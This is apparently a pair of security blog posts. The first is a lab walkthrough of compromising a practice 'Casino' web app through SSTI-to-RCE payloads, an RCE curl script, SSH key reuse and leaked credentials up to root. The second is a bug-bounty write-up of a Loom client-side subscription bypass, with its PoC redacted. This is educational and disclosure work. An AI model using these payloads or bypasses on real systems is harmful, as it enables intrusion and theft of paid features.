Las Vegas is gearing up for a massive cybersecurity conference, and you’ve been hired to conduct a penetration test against one of the casinos. The client — Hack Smarter World — is a luxury resort where many of the attendees will be staying. Your objective is to identify all vulnerabilities and elevate your privileges to root (if possible).

Topics Related

• Reconnaissance
• Source Code Analysis
• Server-Side Template Injection (SSTI) to RCE
• SSH Private key Authentication
• Privilege Escalation

Information Gathering

• Nmap Port Scanning:

sudo nmap -Pn -p- 10.1.28.32 -vv

• First of all, I conducted only port scanning on the target
• I found total 3 opened ports (22, 80, 2222)
• Then I performed Service and Script Scanning

sudo nmap -Pn -sVC -p22,80,2222 10.1.28.32 -oN casino_nmap.txt

┌──(anon㉿n00b)-[~/Casino]
└─$ nmap -Pn -sVC -p22,80,2222 10.1.28.32 -oN casino_nmap.txt
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-24 12:38 +0600
Nmap scan report for 10.1.28.32
Host is up (0.36s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0e:c3:b7:58:ab:08:a9:06:32:a2:45:18:fe:b4:b1:8e (ECDSA)
|_  256 c8:b4:62:a1:c8:f4:c1:dc:f9:16:15:5d:37:0f:d2:16 (ED25519)
80/tcp   open  http    Werkzeug httpd 3.1.8 (Python 3.10.18)
| http-title: Hack Smarter World - Guest WiFi & Portal
|_Requested resource was /login
|_http-server-header: Werkzeug/3.1.8 Python/3.10.18
2222/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u7 (protocol 2.0)
| ssh-hostkey:
|   3072 7d:c5:f5:ba:03:3e:f0:76:5c:9d:47:b6:39:b5:c7:a4 (RSA)
|   256 ed:5d:fa:ea:74:a0:56:b1:39:59:fc:c5:22:1e:5e:bd (ECDSA)
|_  256 50:31:d9:54:80:42:b8:44:cb:40:66:ea:cf:8f:cf:37 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.51 seconds

Enumeration

• Visiting to the Website:

• Trying to authenticate:

• Viewing Source Code:

• Visiting /static/js/app.min.js:

http://10.1.28.32/static/js/app.min.js

• Found app.min.js.map:

• Unauthenticated Path:

http://10.1.28.32/api/v1/rooms/status?status=occupied

curl -s http://10.1.28.32/api/v1/rooms/status?status=occupied | jq

• There are 3 types of tiers:

Executive Suite
Standard Guest
Diamond Club
VIP Premium

• Now trying to access their network:

• Found HTML Injection in Display Name:

<h1>Test</h1>

<h1 style="color: red">Test</h1>

• XSS also worked:

<img src=x onerror=alert(1)>

• Checking for SSTI vulnerability:

{{7*7}}

SSTI to RCE

• Getting RCE to the remote server:

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{config.__class__.__init__.__globals__['os'].popen('whoami; pwd; ls -la').read()}}

• Then, making a RCE Script for more flexibility:

#!/bin/bash
# Usage: ./rce.sh "command to run"

TARGET="http://10.1.28.32/profile"
COOKIE='session=.eJxNjUEKwjAQRa9SZt1CjKCSvRvBlQcIYzraYJORZCKW0rubruru83i8P0Pv83vEyUYMBAaumKbmwkPMHKGFZ6EsYGZwA7kXF7E9yupppQ-dOnV6X62HT1n-C5WNuKGtl5iDjSXcKYHZqWML4tcJ5y-5Iv5Dza34-rAsP8MMM64.aovqRA.fTFVTpEa0kJQIQXA2TKlxwiyPl4'

if [ -z "$1" ]; then
    echo "Usage: $0 "<command>""
    exit 1
fi

CMD="$1"

curl -s -X POST 
  -b "$COOKIE" 
  --data-urlencode "display_name={{config.__class__.__init__.__globals__['os'].popen('${CMD}').read()}}" 
  "$TARGET" | html2text | python3 -c "
import sys, re
text = sys.stdin.read()
m = re.search(r'Nickname[(.*?)]s*nThis greeting', text, re.S)
print(m.group(1).strip() if m else '[!] Could not parse output — raw dump below:n' + text)
"

• Got user.txt Fag and SSH keys:

Initial Access

SSH Private Key Authentication

• Saving the private key in my local first:

• After those, using the id_rsa privated key to log into george:

cp id_rsa /tmp/id_rsa
sudo chmod 600 /tmp/id_rsa
ssh -i /tmp/id_rsa -p 2222 george@10.1.28.32

Note: The id_rsa must have permission 600, otherwise it can’t be used to login

• Getting into george:

Privilege Escalation

LinPEAS Analysis

• Uploaded linpeas.sh to george’s /tmp directory
• Then running the linpeas
• Found a log seems interesting:

/var/log/provisioning.log

• Also, found david’s mysql credential:

Lateral Movement

• Checking george’s bash history file:

• Found user david’s login credential from .bash_history:

User: david
Pass: DavidPass2026!#

• Logged in as david using the credential:

• Here, we can see that david was in the group adm.
• So, the log we just found from LinPEAS, can be read by david.
• Getting the log /var/log/provisioning.log:

2026-08-01 03:14:02 [INFO] Starting automated cluster provisioning for Hack Smarter World host node...
2026-08-01 03:14:15 [INFO] Configuring network interfaces eth0 (VLAN 402)...
2026-08-01 03:14:22 [INFO] Initializing MariaDB production instance...
2026-08-01 03:14:28 [INFO] Seeding resort guest database tables...
2026-08-01 03:14:30 [SUCCESS] Applied security policy for root access.
2026-08-01 03:14:31 [DEBUG] Saved system root sync credential: R3s0rt...[REDACTED]
2026-08-01 03:14:35 [INFO] Generating SSH host key certificates...
2026-08-01 03:14:45 [INFO] Deployment completed successfully.

• Found root credential.
• Retrieving the flag from root.txt:

david@8baabc6b234d:/etc$ su root
Password:
root@8baabc6b234d:/etc# cd
root@8baabc6b234d:~# ls
root.txt
root@8baabc6b234d:~# cat root.txt
HSM{r3s0rt...[REDACTED]
root@8baabc6b234d:~#

So it’s solved!

Happy Hacking!

My Links:

• Team Site
• LinkedIn
• GitHub
• Medium
• YouTube
• Facebook
• Twitter

Hack Smarter — Casino Lab Solution | InferiorAK was originally published in OSINT Team on Medium, where people are continuing the conversation by highlighting and responding to this story.

A simple client-side bypass allowed a Loom Starter user to download video transcriptions that were supposed to be available only to Business users.

I reported the issue through Bugcrowd. The report was ultimately classified as [Informational] because it was considered to have no security impact.

Fair enough. I agreed with the triage decision rather than starting a never-ending “but technically…” discussion.

That said, I still found the behavior interesting from a subscription-enforcement and business-logic perspective.

The Feature

Loom has different subscription tiers, and some functionality is restricted depending on the plan.

One of those features is downloading a video’s transcript/captions.

As a Starter/free user, I could watch the video normally, but the transcript download functionality was not available to me.

So far, everything worked as expected.

Looking Under the Hood

I opened a Loom video using a regular Starter account and checked the browser’s DevTools.

The UI correctly enforced the subscription restriction.

There was no obvious “Download transcript” functionality available to my account.

But instead of stopping there, I wanted to see whether the restriction was actually enforced server-side or whether the browser was simply hiding functionality based on the user’s subscription.

A quick look at the client-side behavior suggested the latter.

The application already had the information necessary to retrieve the transcript. The restriction appeared to be enforced by the frontend rather than by a server-side authorization check.

That made the next test pretty straightforward.

The Bypass

I opened DevTools → Console and executed a small JavaScript snippet.

The original PoC is intentionally redacted here:

(async()=>{
  let h=document.documentElement.innerHTML,

      // [REDACTED] transcription resource extraction
      j=h.match(/REDACTED/)?.[0],

      // [REDACTED] caption resource extraction
      v=h.match(/REDACTED/)?.[0];

  // Remaining PoC logic omitted for disclosure.
  // The script retrieves the transcript/caption resources
  // already exposed to the client and creates local downloads.
})()

And… it worked.

The transcript was downloaded even though the account itself was not subscribed to the plan that normally provides the feature.

I’ve intentionally redacted the resource-extraction logic from the public PoC — partly to keep the writeup within responsible disclosure boundaries and, well, not accidentally hand over a ready-to-use bypass. 

If you’re interested in the technical details, feel free to reach out and discuss the approach.

The important part here isn’t the JavaScript itself.

It’s the fact that the browser was able to perform the operation without a meaningful server-side subscription check preventing it.

How the Bypass Works

The bypass itself is actually quite simple.

The Loom page already contained references to the transcription and caption resources in the client-side HTML. The subscription restriction prevented the Starter user from accessing the download functionality through the normal UI, but the underlying resources were still available to the browser.

The PoC simply:

1. Extracts the transcription/caption resource references from the page.
2. Fetches those resources from the browser.
3. Converts the transcription data into a downloadable SRT file.
4. Provides a small local download interface directly in the page.

So the problem wasn’t really “breaking” the transcript system.

It was more like bypassing the UI restriction and using functionality that the browser could already access.

The key distinction is that the UI restriction and the actual resource access were not enforcing the same boundary.

For a paid feature, the stronger model would be to enforce the subscription entitlement when the backend serves or generates the requested resource — not merely when the frontend decides whether to show the download button.

Why This Matters

From a pure security perspective, I can understand why this wasn’t considered impactful.

There was no account takeover.

No sensitive data belonging to another user was exposed.

No authentication boundary was crossed.

And there was no obvious confidentiality or integrity impact.

But there was still an interesting business impact.

The affected functionality was a paid feature.

A Starter user could access functionality that was intended to require a higher-tier subscription without actually upgrading.

In other words:

Starter user → premium feature → no upgrade required.

The bypass was also trivial.

It didn’t require manipulating complex requests, exploiting a race condition, or chaining several vulnerabilities. Anyone familiar with browser DevTools could reproduce the behavior.

That also means the technique could potentially be shared or automated, making it less effective as a subscription-enforcement mechanism.

From a SaaS perspective, that’s arguably more interesting than the technical complexity of the PoC itself.

But Isn’t This Just Client-Side Enforcement?

Pretty much.

And that’s exactly why I wouldn’t describe this as a high-severity security vulnerability.

Client-side checks are generally useful for controlling the UI, but they shouldn’t be the final authorization boundary for a paid capability.

If a feature is supposed to be available only to users with a particular subscription, the backend should ideally enforce that entitlement when the actual operation is performed.

Otherwise, hiding the button doesn’t necessarily prevent the underlying functionality from being invoked.

In this case, the UI effectively said:

“You can’t download this.”

While the underlying functionality effectively said:

“Sure, why not?”

That’s not exactly the strongest subscription enforcement mechanism.

Bugcrowd Triage

I reported the issue through Bugcrowd and highlighted the potential business impact:

Starter users can access a paid Business feature without upgrading.

I also pointed out that the bypass was trivial, easily shareable, and potentially automatable, which could reduce the effectiveness of Loom’s subscription enforcement and the incentive for affected users to upgrade.

The final result?

And honestly, I agree with the classification from a conventional vulnerability perspective.

There was no meaningful security boundary being crossed, and I wasn’t accessing someone else’s protected data or account.

The interesting part is simply that the behavior demonstrates how a paid feature could be accessed outside its intended subscription tier.

Final Thoughts

Not every interesting bug is a security vulnerability.

Sometimes you find something that is technically real, reproducible, and arguably undesirable from a product or business perspective, but doesn’t meet the bar for a security bounty.

That’s exactly what happened here.

The PoC was tiny, the impact was mostly commercial, and the triage result was Informational.

Still, it’s a good example of why it’s worth looking beyond what the UI allows.

A button being hidden doesn’t necessarily mean the underlying functionality is protected.

And sometimes, a few minutes in DevTools are enough to find out which one you’re dealing with.

TL;DR: The UI said a Starter user couldn’t download premium transcriptions. The underlying functionality disagreed.

Loom Subscription Bypass Let Starter Users Download Premium Transcriptions was originally published in OSINT Team on Medium, where people are continuing the conversation by highlighting and responding to this story.

At first, everything looked normal.

Continue reading on OSINT Team »